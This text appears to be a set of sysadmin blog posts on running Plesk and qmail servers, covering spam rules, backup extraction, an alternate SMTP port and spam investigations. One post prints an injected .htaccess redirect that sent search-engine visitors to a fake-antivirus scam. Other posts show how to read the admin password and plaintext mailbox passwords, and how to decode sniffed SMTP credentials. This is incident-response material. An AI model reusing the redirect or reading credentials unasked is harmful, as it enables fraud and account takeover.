Starting with January many I had many complaints from customers regarding legitimate mail marked as SPAM hosted on Plesk/SpamGuardian machines.

After a small investigation I’ve found the problems were from SpamAssassin’s FH_DATE_PAST_20XX rule bug that caused mails to receive a high score if date is past 2010-01-01.

http://wiki.apache.org/spamassassin/Rules/FH_DATE_PAST_20XX
https://issues.apache.org/SpamAssassin/show_bug.cgi?id=5852
https://issues.apache.org/SpamAssassin/show_bug.cgi?id=6269

I didn’t wanted to run sa-update, so I’ve created a config file to ignore this rule (I do love stability, so I’m more conservative ) :

[root@apollo ~]# cat /etc/mail/spamassassin/fh_date_past_20xx_fix.cf
# https://issues.apache.org/SpamAssassin/show_bug.cgi?id=6269
score FH_DATE_PAST_20XX 0.0

We alreay know how to extract files from Plesk backup with mpack, but if you do receive “File size limit exceeded” error, it can be from the following reasons:

• Your file system doesn’t have LFS (large file support) support
• OS limits (limits on the system resources imposed by your administrator)
• mpack is not compiled with LFS

Check that your filesystem supports files bigger than 2GB (create a test file with “dd” command).

[vitalie@silver ~]$ dd if=/dev/zero of=test.bin bs=1G count=3 # create 3GB file

Then check your file size limits with ulimit command:

[vitalie@silver ~]$ ulimit -a | grep '^file size'
file size               (blocks, -f) unlimited

You can adjust limits from /etc/security/limits.conf, read file comments on how to do it, or read this article:
http://www.cyberciti.biz/faq/file-size-limit-exceeded-error-under-linux-and-solution/

If none above limits you, then the problems comes from mpack, it doesn’t have suport for large files (>2GB).

The guys from the Plesk recommends to grep the backup file, to find begin and end of the file in archive:
http://kb.parallels.com/en/1757

This solutions is not appropriate for large backup files, we’ll just recompile mpack to support large files.

Grab mpack’s RPM source from the Dag’s repository
http://dag.wieers.com/rpm/packages/mpack/mpack-1.6-2.rf.src.rpm

install it:

[vitalie@silver ~]$ rpm -ivh mpack-1.6-2.rf.src.rpm
[...]

Then modify mpack.spec and add the following code after “%build”:

export CFLAGS="-D_FILE_OFFSET_BITS=64"

Then rebuild the package and install it:

[vitalie@silver ~] rpm -ba mpack.spec
[...]
[vitalie@silver ~] rpm -Uvh --force mpack-1.6-3.rf.i386.rpm
[...]

References:

• Linux PAM
• jperalta.wordpress.com
• www.cyberciti.biz

Today the website of one of the clients was blacklisted by Google by containing malicious software that downloads and installs without user’s consent. Google displayed “This site may harm your computer” under website in the results page.

Analyzing site’s sources we found obfuscated JavaScript code inserted near body, html tags in .html, .php, .tpl files and a .htaccess file with following content:

RewriteEngine On
RewriteCond %{HTTP_REFERER} .*google.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*aol.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*msn.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*yahoo.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*yandex.*$ [NC,OR]^M
RewriteCond %{HTTP_REFERER} .*rambler.*$ [NC,OR]^M
RewriteCond %{HTTP_REFERER} .*ya.*$ [NC]
RewriteRule .* http://real-antispyware.info/0/go.php?sid=2 [R,L]

Hmm, visitors from search engines were redirected to real-antispyware.info. This website is a scam that shows some JavaScript animation fulling the user with a message that his computer is infected and prompts him to download and install a fake AntiVirus.

Analyzing IP addresses from ftp logs we found connections from Russia and China that altered client’s website. Somehow they got user’s ftp password (it can be done in so many ways: weak password, traffic sniffing, virus, keylogger, trojan, …) and they altered website files.

You can use this simple Ruby script to analyze your ftp logs. By default it is configured for a Plesk server, and it will show suspicious lines (change IGNORE variables to fit your needs). You may need to install rubygems and geoip gem.

#!/usr/bin/ruby
 
require 'rubygems'
require 'geoip'
require 'zlib'
 
# hide logs from these countries
# Example: RO US
IGNORE_COUNTRIES = %w{RO US}
# free geoip database is not 100% accurate
# we may need to ignore a few ip addresses
IGNORE_IP = %w{127.0.0.1 127.0.0.2}
 
files = Dir.glob("/usr/local/psa/var/log/xferlog*")
geoip = GeoIP.new('/var/lib/GeoIP/GeoIP.dat')
 
def ip2country(geoip, ip)
  country = geoip.country(ip)[3]
end
 
ip_list = []
files.each do |filename|
  puts ""
  puts "Processing #{filename} ..."
 
  File.open(filename) do |f|
    input = f
    input = Zlib::GzipReader.new(f) if File.extname(filename) == ".gz"
 
    while line = input.gets do
      ip = line.split(/\s+/)[6]
 
      unless ip_list.include? ip
        country = ip2country(geoip, ip)
        unless IGNORE_COUNTRIES.include? country.upcase or IGNORE_IP.include? ip
          puts " [#{country} : #{ip}] => #{line}"
        end
        ip_list << ip
      end
   end
  end
end

Steps that needs to followed:

1. Change FTP password
2. Upload a clean copy from the backups of the website
3. Submit the website in the Webmaster’s Tools for reconsideration
4. Audit your company security: computers, firewalls, antiviruses, software, …

You may find useful diagnose tool from the Google (replace example.com with your domain):

http://www.google.com/safebrowsing/diagnostic?site=http://example.com

SMTP stands for Simple Mail Transfer Protocol, it was designed a long time ago when the Internet was a peaceful place. Today we are facing new challenges, so there should be new solutions.

One of the problem is SPAM messages, spammers are keeping to bombard us everyday with junk mails. We did invented black/white list to protect us from them.

If your clients are connecting from an ip address that’s listed in RBL lists (it’s not uncommon for ISPs that are using dynamic ip addresses) they can’t send messages through your server if you are using RBLs.

Disabling RBLs checks it’s not an option, we’ll configure an alternative port for relaying on port 1025 for the clients listed in RBLs.

You can just copy your smtp_psa file and customize it:

cd /etc/xinetd.d/
cp smtp_psa smtp_alt_psa
vim smtp_alt_psa

You need to change service name from smtp to smtp-alt and remove rblsmptd command and it’s -r parameters, finally it should something like this:

# /etc/xinetd.d/smtp_alt_psa
service smtp-alt
{
        socket_type     = stream
        protocol        = tcp
        wait            = no
        disable         = no
        user            = root
        instances       = UNLIMITED
        server          = /var/qmail/bin/tcp-env
        server_args     = -Rt0 /var/qmail/bin/relaylock /var/qmail/bin/qmail-smtpd /var/qmail/bin/smtp_auth /var/qmail/bin/true /var/qmail/bin/cmd5checkpw /var/qmail/bin/true
}

Append the new service to /etc/services:

smtp-alt        1025/tcp        
smtp-alt        1025/udp

And restart the xinetd service:

[root@sirius xinetd.d]# /etc/init.d/xinetd restart
Stopping xinetd:                                           [  OK  ]
Starting xinetd:                                           [  OK  ]

Verify your configuration with telnet command:

[root@sirius xinetd.d]# telnet localhost 1025
Trying 127.0.0.1...
Connected to localhost.localdomain (127.0.0.1).
Escape character is '^]'.
220 sirius.example.net ESMTP
 
# Ctr+] and quit to exit telnet

Now, instruct your clients to change port in SMTP settings from 25 to 1025, they will be able to send mails through your server even you are using RBL lists.

Sometimes you need to rebuild all your httpd.include files, it can be done with websrvmng command:

/usr/local/psa/admin/bin/websrvmng -av

To enable AntiVirus for all accounts in Plesk you can use the following script:

#!/bin/bash
 
mysql -uadmin -p`cat /etc/psa/.psa.shadow` psa<<-EOT
UPDATE mail 
  SET virusfilter = 'any'
  WHERE postbox = 'true' AND virusfilter != 'any'
EOT

You can run it daily from the cron to keep your mailboxes protected.

If you forgot your admin password in Plesk, you’ll need to connect to your server with ssh and you can find the password in the file /etc/psa/.psa.shadow .

[root@apollo ~]# cat /etc/psa/.psa.shadow
<admin_pass>

To find mailbox’s password in Plesk, connect to your server with ssh, then use the following SQL query to reveal mailbox password (replace MAILBOX_NAME with your mailbox name):

[root@apollo ~]# mysql -u admin -p`cat /etc/psa/.psa.shadow` psa
[...]
mysql> SELECT m.mail_name, d.name, a.password FROM mail AS m LEFT JOIN (domains AS d, accounts AS a) \
ON (m.dom_id = d.id AND m.account_id = a.id) WHERE m.mail_name='MAILBOX_NAME'

Today I’ve received an alert from the monitoring system, the mails count from server’s queue was too high.

Depending on the numbers of the clients hosted on the server more than 500 of mails lasting more than half hour in the queue is meaning that someone has sent a newsletter or spam.

Let’s ssh there and study the problem. Firstly we should look at the server’s queue:

[root@ulise ~]# /var/qmail/bin/qmail-qstat 
messages in queue: 758
messages in queue but not yet preprocessed: 0

We do have 758 mails in the queue. Let’s examine the queue with qmail-qread. Seeing a bunch of strange email addresses in the recipient list usually it’s meaning spam.

[root@ulise ~]# /var/qmail/bin/qmail-qread
[...]

You can examine the email content of the emails in the queue using Plesk interface or just less command. Firstly we should find message’s id using qmail-qread, then find the file holding the email in /var/qmail/queue with find command.

[root@ulise ~]# /var/qmail/bin/qmail-qread
[...]
18 Jul 2008 02:01:11 GMT  #22094026  1552  <> 
        remote  user@yahoo.com
[...]
 
[root@ulise ~]# find /var/qmail/queue/ -name 22094026
/var/qmail/queue/mess/19/22094026
/var/qmail/queue/remote/19/22094026
/var/qmail/queue/info/19/22094026
 
[root@ulise ~]# less /var/qmail/queue/mess/19/22094026
Received: (qmail 10728 invoked from network); 22 Jul 2008 19:40:46 +0300
Received: from unknown (HELO User) (86.107.221.138)
  by domain.com with SMTP; 22 Jul 2008 19:40:46 +0300
Reply-To: <support@PayPal.Inc.com>
From: "PayPal"<support@PayPal.Inc.com>
Subject: Dispute Transaction
Date: Tue, 22 Jul 2008 19:40:52 +0300
MIME-Version: 1.0
Content-Type: text/html;
        charset="Windows-1251"
Content-Transfer-Encoding: 7bit
X-Priority: 1
X-MSMail-Priority: High
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
[...]

Oops, we do have some spam in the queue that’s received from the network (IP: 86.107.221.138). We should remove spam from the queue or the server IP address will finish listed in the RBLs, qmail-remove is the right tool for this job.

Check the number of the spams with the spam pattern (”PayPal.Inc.com” in this case):

[root@ulise ~]# qmail-remove -p 'PayPal.Inc.com'

Now, remove spams (notice the ‘-r’ switch), they all will end up in the /var/qmail/queue/yanked directory. Don’t forget to stop qmail daemon before (/etc/init.d/qmail stop) :

[root@ulise ~]# qmail-remove -r -p 'PayPal.Inc.com'

In a few minutes we do have more emails with the same patterns from the same ip address. That’s great, we do have opportunity to examine smtp traffic from the spammer’s ip address. Run tcpdump and wait a few minutes.

[root@ulise ~]# tcpdump -i eth0 -n src 86.107.221.138 \or dst 86.107.221.138 -w smtp.tcpdump -s 2048

Examining log file with less or wireshark we found that spammer is sending spam using LOGIN authentication:

220 ulise.domain.com ESMTP
ehlo User
250-ulise.domain.com
250-AUTH=LOGIN CRAM-MD5 PLAIN
250-AUTH LOGIN CRAM-MD5 PLAIN
250-STARTTLS
250-PIPELINING
250 8BITMIME
AUTH LOGIN
334 VXNlcm5hbWU6
dGVzdA==
334 UGFzc3dvcmQ6
MTIzNDU=
235 go ahead

Interesting, let’s decode the user/pass to see which account is used:

[root@ulise ~]# perl -MMIME::Base64 -e 'print decode_base64("dGVzdA==")'
test
[root@ulise ~]# perl -MMIME::Base64 -e 'print decode_base64("MTIzNDU=")'
12345

So, someone created a test account with a weak password and someone else guessed it and is sending spam through the server.

Let’s find the domain owning of the mailbox:

[root@ulise ~]# mysql -uadmin -p`cat /etc/psa/.psa.shadow` psa 
[...]
mysql> SELECT m.mail_name, d.name, a.password FROM mail AS m LEFT JOIN (domains AS d, accounts AS a) ON (m.dom_id = d.id AND m.account_id = a.id) WHERE m.mail_name='test' AND a.password='12345';
+-----------+------------+----------+
| mail_name | name       | password |
+-----------+------------+----------+
| test      | example.com | 12345    | 
+-----------+------------+----------+
1 row in set (0.01 sec)

Next step is to delete test mailbox and send a warning to client.

To improve your server’s security you’ll need to enable:
Server -> Mail -> Check the passwords for mailboxes in the dictionary

Creating a mailbox “test” with password “12345″ is a stupid thing and spammers just love to exploit it.

Extracting files from a Plesk 8.3 backup it’s not an easy task and it’s time consuming.

Let’s examine backup file:

[root@monster ~]# file plesk_bigserver_2008-07-10.backup 
plesk_bigserver_2008-07-10.backup: ASCII English text, with very long lines

Plesk backup is a multi-part mime-encoded file, you can easy restore one domain or whole server using plesk backup utilities, but when you need a few files from backup you’ll need an external tool like ripemime or mpack.

Requirements:

• Free disk space minimum 2*backup_file_size
• mpack tool

Check your free space using df(disk free) command.

[root@monster ~]# df -h
Filesystem            Size  Used Avail Use% Mounted on
/dev/hda3             9.2G  2.5G  6.3G  29% /
/dev/hda1             190M   15M  166M   8% /boot
none                 1010M     0 1010M   0% /dev/shm
/dev/hda7              53G   17G   34G  34% /home
/dev/hda6             950M   17M  886M   2% /tmp
/dev/hda5              46G  7.2G   37G  17% /var

Let’s install mpack. On a Redhat/Fedora/CentOS system it’s easy, just subscribe to Dag Wieers’s repository. You’ll need to download rpmforge-release rpm that’s matching your server OS and architecture:

For CentOS 5 and x86_64 architecture we’ll use rpmforge-release-0.3.6-1.el5.rf.i386.rpm:

[root@monster tmp]# wget http://dag.wieers.com/rpm/packages/rpmforge-release/rpmforge-release-0.3.6-1.el5.rf.x86_64.rpm
[...]
[root@monster tmp]# rpm -ivh rpmforge-release-0.3.6-1.el5.rf.x86_64.rpm
http://dag.wieers.com/rpm/packages/rpmforge-release/rpmforge-release-0.3.6-1.el5.rf.x86_64.rpm
[...]
[root@monster tmp]# yum install mpack
[...]

Let’s make a directory where we’ll extract backup files and then extract files there:

[root@monster ~]# mkdir recover
[root@monster ~]# cd recover
[root@monster ~]#  munpack < ../plesk_bigserver_2008-07-15.backup
[...]

Mpack will extract files into separate tar archives where you can locate the domain by archive name and extract files using tar command.